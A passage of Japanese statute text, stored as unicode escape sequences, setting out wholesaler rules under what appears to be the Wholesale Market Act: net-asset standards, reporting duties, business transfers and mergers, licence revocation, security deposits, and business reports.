u53c8\u306f\u8a31\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u3092\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u958b\u8a2d\u8005\u306e\u610f\u898b\u3092\u5c0a\u91cd\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u7d14\u8cc7\u7523\u984d\uff09\n\u7b2c\u5341\u4e5d\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306e\u7d14\u8cc7\u7523\u57fa\u6e96\u984d\u306f\u3001\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3054\u3068\u306b\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u306e\u898f\u6a21\u3001\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u8005\u306e\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u305d\u306e\u4ed6\u306e\u4e8b\u60c5\u3092\u8003\u616e\u3057\u3066\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u5b9a\u3081\u308b\u3002\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u696d\u8005\u306e\u7d14\u8cc7\u7523\u984d\u304c\u3001\u305d\u306e\u8005\u304c\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u7d14\u8cc7\u7523\u57fa\u6e96\u984d\uff08\u305d\u306e\u8005\u304c\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u304c\u4e8c\u4ee5\u4e0a\u3042\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u305d\u306e\u5404\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u540c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u7d14\u8cc7\u7523\u57fa\u6e96\u984d\u3092\u5408\u7b97\u3057\u305f\u984d\uff09\u3092\u4e0b\u3064\u3066\u3044\u308b\u3053\u3068\u304c\u660e\u3089\u304b\u3068\u306a\u3064\u305f\u3068\u304d\u306f\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u306e\u505c\u6b62\u3092\u547d\u305a\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u516d\u6708\u4ee5\u5185\u306b\u3001\u5f53\u8a72\u51e6\u5206\u3092\u53d7\u3051\u305f\u8005\u304b\u3089\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u305d\u306e\u7d14\u8cc7\u7523\u984d\u304c\u540c\u9805\u306b\u898f\u5b9a\u3059\u308b\u7d14\u8cc7\u7523\u57fa\u6e96\u984d\u4ee5\u4e0a\u306e\u984d\u3068\u306a\u3064\u305f\u65e8\u306e\u7533\u51fa\u304c\u3042\u3064\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u305d\u306e\u7533\u51fa\u3092\u76f8\u5f53\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u51e6\u5206\u3092\u53d6\u308a\u6d88\u3055\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\u3092\u3057\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u305d\u306e\u51e6\u5206\u3092\u53d7\u3051\u305f\u8005\u304b\u3089\u524d\u9805\u306e\u671f\u9593\u5185\u306b\u540c\u9805\u306e\u7533\u51fa\u304c\u306a\u3044\u3068\u304d\u3001\u53c8\u306f\u5f53\u8a72\u671f\u9593\u5185\u306b\u5f53\u8a72\u7533\u51fa\u304c\u3042\u3064\u3066\u3082\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u3053\u308c\u3092\u76f8\u5f53\u3068\u8a8d\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u306a\u3044\u3068\u304d\uff08\u5f53\u8a72\u671f\u9593\u5185\u306b\u4e8c\u4ee5\u4e0a\u306e\u7533\u51fa\u304c\u3042\u3064\u305f\u3068\u304d\u306f\u3001\u305d\u306e\u7533\u51fa\u306e\u3059\u3079\u3066\u306b\u3064\u3044\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u76f8\u5f53\u3068\u8a8d\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u306a\u3044\u3068\u304d\uff09\u306f\u3001\u5f53\u8a72\u671f\u9593\u7d4c\u904e\u5f8c\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u8005\u306b\u4fc2\u308b\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3055\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u306b\u4fc2\u308b\u8074\u805e\u306e\u671f\u65e5\u306b\u304a\u3051\u308b\u5be9\u7406\u306f\u3001\u516c\u958b\u306b\u3088\u308a\u884c\u308f\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff16\n\n\u3000\u7b2c\u5341\u4e03\u6761\u7b2c\u4e09\u9805\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e8c\u9805\u53ca\u3073\u7b2c\u4e09\u9805\u306e\u7d14\u8cc7\u7523\u984d\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u7d14\u8cc7\u7523\u984d\u306e\u5831\u544a\u7b49\uff09\n\u7b2c\u4e8c\u5341\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u6bce\u5e74\u4e8c\u56de\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5bfe\u3057\u3001\u305d\u306e\u7d14\u8cc7\u7523\u984d\u3092\u5831\u544a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u5b9a\u3081\u308b\u671f\u9593\u3054\u3068\u306b\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5bfe\u3057\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u8ca1\u7523\u306e\u72b6\u6cc1\u3092\u8a18\u8f09\u3057\u305f\u66f8\u985e\u3092\u63d0\u51fa\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u7b2c\u5341\u4e03\u6761\u7b2c\u4e09\u9805\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e00\u9805\u306e\u7d14\u8cc7\u7523\u984d\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u4e8b\u696d\u306e\u8b72\u6e21\u3057\u53ca\u3073\u8b72\u53d7\u3051\u4e26\u3073\u306b\u5408\u4f75\u53ca\u3073\u5206\u5272\uff09\n\u7b2c\u4e8c\u5341\u4e00\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u304c\u4e8b\u696d\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u3082\u306e\u306b\u9650\u308b\u3002\uff09\u306e\u8b72\u6e21\u3057\u3092\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u8b72\u6e21\u4eba\u53ca\u3073\u8b72\u53d7\u4eba\u304c\u8b72\u6e21\u3057\u53ca\u3073\u8b72\u53d7\u3051\u306b\u3064\u3044\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u305f\u3068\u304d\u306f\u3001\u8b72\u53d7\u4eba\u306f\u3001\u5378\u58f2\u696d\u8005\u306e\u5730\u4f4d\u3092\u627f\u7d99\u3059\u308b\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u696d\u8005\u305f\u308b\u6cd5\u4eba\u306e\u5408\u4f75\u306e\u5834\u5408\uff08\u5378\u58f2\u696d\u8005\u305f\u308b\u6cd5\u4eba\u3068\u5378\u58f2\u696d\u8005\u3067\u306a\u3044\u6cd5\u4eba\u304c\u5408\u4f75\u3057\u3066\u5378\u58f2\u696d\u8005\u305f\u308b\u6cd5\u4eba\u304c\u5b58\u7d9a\u3059\u308b\u5834\u5408\u3092\u9664\u304f\u3002\uff09\u53c8\u306f\u5206\u5272\u306e\u5834\u5408\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u627f\u7d99\u3055\u305b\u308b\u5834\u5408\u306b\u9650\u308b\u3002\uff09\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u5408\u4f75\u53c8\u306f\u5206\u5272\u306b\u3064\u3044\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u305f\u3068\u304d\u306f\u3001\u5408\u4f75\u5f8c\u5b58\u7d9a\u3059\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5408\u4f75\u306b\u3088\u308a\u8a2d\u7acb\u3055\u308c\u305f\u6cd5\u4eba\u53c8\u306f\u5206\u5272\u306b\u3088\u308a\u5f53\u8a72\u696d\u52d9\u3092\u627f\u7d99\u3057\u305f\u6cd5\u4eba\u306f\u3001\u5378\u58f2\u696d\u8005\u306e\u5730\u4f4d\u3092\u627f\u7d99\u3059\u308b\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u53c8\u306f\u524d\u9805\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3088\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u958b\u8a2d\u8005\u3092\u7d4c\u7531\u3057\u3066\u7533\u8acb\u66f8\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u63d0\u51fa\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u7b2c\u5341\u516d\u6761\u7b2c\u4e8c\u9805\u53ca\u3073\u7b2c\u4e09\u9805\u3001\u7b2c\u5341\u4e03\u6761\u4e26\u3073\u306b\u7b2c\u5341\u516b\u6761\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u8a8d\u53ef\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u7b2c\u5341\u516d\u6761\u7b2c\u4e8c\u9805\u4e2d\u300c\u524d\u9805\u306e\u7533\u8acb\u66f8\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e09\u9805\u306e\u7533\u8acb\u66f8\u300d\u3068\u3001\u300c\u7533\u8acb\u8005\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u305d\u306e\u7533\u8acb\u306b\u4fc2\u308b\u8b72\u53d7\u4eba\u53c8\u306f\u5408\u4f75\u5f8c\u5b58\u7d9a\u3059\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5408\u4f75\u306b\u3088\u308a\u8a2d\u7acb\u3055\u308c\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5206\u5272\u306b\u3088\u308a\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u627f\u7d99\u3059\u308b\u6cd5\u4eba\u300d\u3068\u3001\u540c\u6761\u7b2c\u4e09\u9805\u4e2d\u300c\u7b2c\u4e00\u9805\u306e\u7533\u8acb\u66f8\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e09\u9805\u306e\u7533\u8acb\u66f8\u300d\u3068\u3001\u7b2c\u5341\u4e03\u6761\u7b2c\u4e00\u9805\u4e2d\u300c\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u8a8d\u53ef\u306e\u7533\u8acb\u300d\u3068\u3001\u300c\u7533\u8acb\u8005\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u305d\u306e\u7533\u8acb\u306b\u4fc2\u308b\u8b72\u53d7\u4eba\u53c8\u306f\u5408\u4f75\u5f8c\u5b58\u7d9a\u3059\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5408\u4f75\u306b\u3088\u308a\u8a2d\u7acb\u3055\u308c\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5206\u5272\u306b\u3088\u308a\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u627f\u7d99\u3059\u308b\u6cd5\u4eba\u300d\u3068\u3001\u540c\u6761\u7b2c\u4e8c\u9805\u4e2d\u300c\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u3092\u3057\u305f\u8005\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u8a8d\u53ef\u306e\u7533\u8acb\u306b\u4fc2\u308b\u8b72\u53d7\u4eba\u53c8\u306f\u5408\u4f75\u5f8c\u5b58\u7d9a\u3059\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5408\u4f75\u306b\u3088\u308a\u8a2d\u7acb\u3055\u308c\u308b\u6cd5\u4eba\u82e5\u3057\u304f\u306f\u5206\u5272\u306b\u3088\u308a\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u627f\u7d99\u3059\u308b\u6cd5\u4eba\u300d\u3068\u3001\u300c\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u8a8d\u53ef\u3092\u300d\u3068\u3001\u7b2c\u5341\u516b\u6761\u4e2d\u300c\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u53c8\u306f\u8a31\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u9805\u306e\u8a8d\u53ef\u53c8\u306f\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u300d\u3068\u8aad\u307f\u66ff\u3048\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\u7b2c\u4e8c\u5341\u4e8c\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\u7b2c\u4e8c\u5341\u4e09\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\uff08\u540d\u79f0\u5909\u66f4\u7b49\u306e\u5c4a\u51fa\uff09\n\u7b2c\u4e8c\u5341\u56db\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u65e8\u3092\u958b\u8a2d\u8005\u3092\u7d4c\u7531\u3057\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5c4a\u3051\u51fa\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u958b\u59cb\u3057\u3001\u4f11\u6b62\u3057\u3001\u53c8\u306f\u518d\u958b\u3057\u305f\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u5ec3\u6b62\u3057\u305f\u3068\u304d\u3002\n\n\u4e09\n\n\u3000\u7b2c\u5341\u516d\u6761\u7b2c\u4e00\u9805\u7b2c\u4e00\u53f7\u53c8\u306f\u7b2c\u4e8c\u53f7\u306b\u63b2\u3052\u308b\u4e8b\u9805\u306b\u5909\u66f4\u304c\u3042\u3064\u305f\u3068\u304d\u3002\n\n\n\n\n\uff08\u8a31\u53ef\u306e\u53d6\u6d88\u3057\uff09\n\u7b2c\u4e8c\u5341\u4e94\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u696d\u8005\u304c\u7b2c\u5341\u4e03\u6761\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u53c8\u306f\u7b2c\u56db\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u8a72\u5f53\u3059\u308b\u3053\u3068\u3068\u306a\u3064\u305f\u3068\u304d\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3055\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u696d\u8005\u304c\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3059\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u6b63\u5f53\u306a\u7406\u7531\u304c\u306a\u3044\u306e\u306b\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u901a\u77e5\u3092\u53d7\u3051\u305f\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u6708\u4ee5\u5185\u306b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u958b\u59cb\u3057\u306a\u3044\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u6b63\u5f53\u306a\u7406\u7531\u304c\u306a\u3044\u306e\u306b\u5f15\u304d\u7d9a\u304d\u4e00\u6708\u4ee5\u4e0a\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u4f11\u6b62\u3057\u305f\u3068\u304d\u3002\n\n\n\uff13\n\n\u3000\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306f\u3001\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u306b\u4fc2\u308b\u8074\u805e\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u5378\u58f2\u696d\u8005\u306e\u4fdd\u8a3c\u91d1\uff09\n\u7b2c\u4e8c\u5341\u516d\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3054\u3068\u306b\u3001\u958b\u8a2d\u8005\u306b\u4fdd\u8a3c\u91d1\u3092\u9810\u8a17\u3057\u305f\u5f8c\u3067\u306a\u3051\u308c\u3070\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u958b\u59cb\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u4fdd\u8a3c\u91d1\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u56fd\u50b5\u8a3c\u5238\u3001\u5730\u65b9\u50b5\u8a3c\u5238\u305d\u306e\u4ed6\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u6709\u4fa1\u8a3c\u5238\u3092\u3082\u3064\u3066\u3001\u3053\u308c\u306b\u5145\u3066\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3064\u304d\u5378\u58f2\u696d\u8005\u304b\u3089\u53ce\u53d7\u3059\u308b\u4f7f\u7528\u6599\u3001\u4fdd\u7ba1\u6599\u53ca\u3073\u624b\u6570\u6599\u306b\u95a2\u3057\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u304c\u9810\u8a17\u3057\u305f\u7b2c\u4e00\u9805\u306e\u4fdd\u8a3c\u91d1\u306b\u3064\u3044\u3066\u3001\u4ed6\u306e\u50b5\u6a29\u8005\u306b\u5148\u3060\u3064\u3066\u5f01\u6e08\u3092\u53d7\u3051\u308b\u6a29\u5229\u3092\u6709\u3059\u308b\u3002\n\n\uff14\n\n\u3000\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u53c8\u306f\u8ca9\u58f2\u306e\u59d4\u8a17\u3092\u3057\u305f\u8005\u306f\u3001\u5f53\u8a72\u8ca9\u58f2\u53c8\u306f\u8ca9\u58f2\u306e\u59d4\u8a17\u306b\u3088\u308b\u50b5\u6a29\u306b\u95a2\u3057\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u304c\u9810\u8a17\u3057\u305f\u7b2c\u4e00\u9805\u306e\u4fdd\u8a3c\u91d1\u306b\u3064\u3044\u3066\u3001\u4ed6\u306e\u50b5\u6a29\u8005\u306b\u5148\u3060\u3064\u3066\u5f01\u6e08\u3092\u53d7\u3051\u308b\u6a29\u5229\u3092\u6709\u3059\u308b\u3002\n\n\uff15\n\n\u3000\u7b2c\u4e09\u9805\u306e\u512a\u5148\u3057\u3066\u5f01\u6e08\u3092\u53d7\u3051\u308b\u6a29\u5229\u306f\u3001\u524d\u9805\u306e\u512a\u5148\u3057\u3066\u5f01\u6e08\u3092\u53d7\u3051\u308b\u6a29\u5229\u306b\u512a\u5148\u3059\u308b\u3002\n\n\n\n\uff08\u4e8b\u696d\u5e74\u5ea6\uff09\n\u7b2c\u4e8c\u5341\u4e03\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306e\u4e8b\u696d\u5e74\u5ea6\u306f\u3001\u56db\u6708\u304b\u3089\u7fcc\u5e74\u4e09\u6708\u307e\u3067\u53c8\u306f\u56db\u6708\u304b\u3089\u4e5d\u6708\u307e\u3067\u53ca\u3073\u5341\u6708\u304b\u3089\u7fcc\u5e74\u4e09\u6708\u307e\u3067\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u4e8b\u696d\u5831\u544a\u66f8\u306e\u63d0\u51fa\uff09\n\u7b2c\u4e8c\u5341\u516b\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u4e8b\u696d\u5e74\u5ea6\u3054\u3068\u306b\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u4e8b\u696d\u5831\u544a\u66f8\u3092\u4f5c\u6210\u3057\u3001\u6bce\u4e8b\u696d\u5e74\u5ea6\u7d4c\u904e\u5f8c\u4e5d\u5341\u65e5\u4ee5\u5185\u306b\u3001\u3053\u308c\u3092\u958b\u8a2d\u8005\u3092\u7d4c\u7531\u3057\u3066\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u63d0\u51fa\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u4e8b\u696d\u5831\u544a\u66f8\u306e\u5199\u3057\u306e\u5099\u4ed8\u3051\u53ca\u3073\u95b2\u89a7\uff09\n\u7b2c\u4e8c\u5341\u4e5d\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u524d\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u63d0\u51fa\u3092\u884c\u3064\u305f\u3068\u304d\u306f\u3001\u901f\u3084\u304b\u306b\u3001\u540c\u6761\u306e\u4e8b\u696d\u5831\u544a\u66f8\uff08\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u306e\u5199\u3057\u3092\u4f5c\u6210\u3057\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u671f\u9593\u3001\u4e3b\u305f\u308b\u4e8b\u52d9\u6240\u306b\u5099\u3048\u3066\u7f6e\u304b\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u53c8\u306f\u8ca9\u58f2\u306e\u59d4\u8a17\u3092\u3057\u305f\u8005\u304b\u3089\u3001\u524d\u9805\u306e\u5199\u3057\u3092\u95b2\u89a7\u3057\u305f\u3044\u65e8\u306e\u7533\u51fa\u304c\u3042\u3064\u305f\u3068\u304d\u306f\u3001\u6b63\u5f53\u306a\u7406\u7531\u304c\u306a\u3051\u308c\u3070\u3001\u3053\u308c\u3092\u62d2\u3093\u3067\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5e33\u7c3f\u306e\u533a\u5206\u7d4c\u7406\uff09\n\u7b2c\u4e09\u5341\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u53d6\u5f15\u306b\u3064\u3044\u3066\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u81ea\u5df1\u306e\u8a08\u7b97\u306b\u3088\u308b\u53d6\u5f15\u3068\u59d4\u8a17\u8005\u306e\u8a08\u7b97\u306b\u3088\u308b\u53d6\u5f15\u3068\u3092\u5e33\u7c3f\u4e0a\u533a\u5206\u3057\u3066\u7d4c\u7406\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u7b2c\u4e09\u5341\u4e00\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\u7b2c\u4e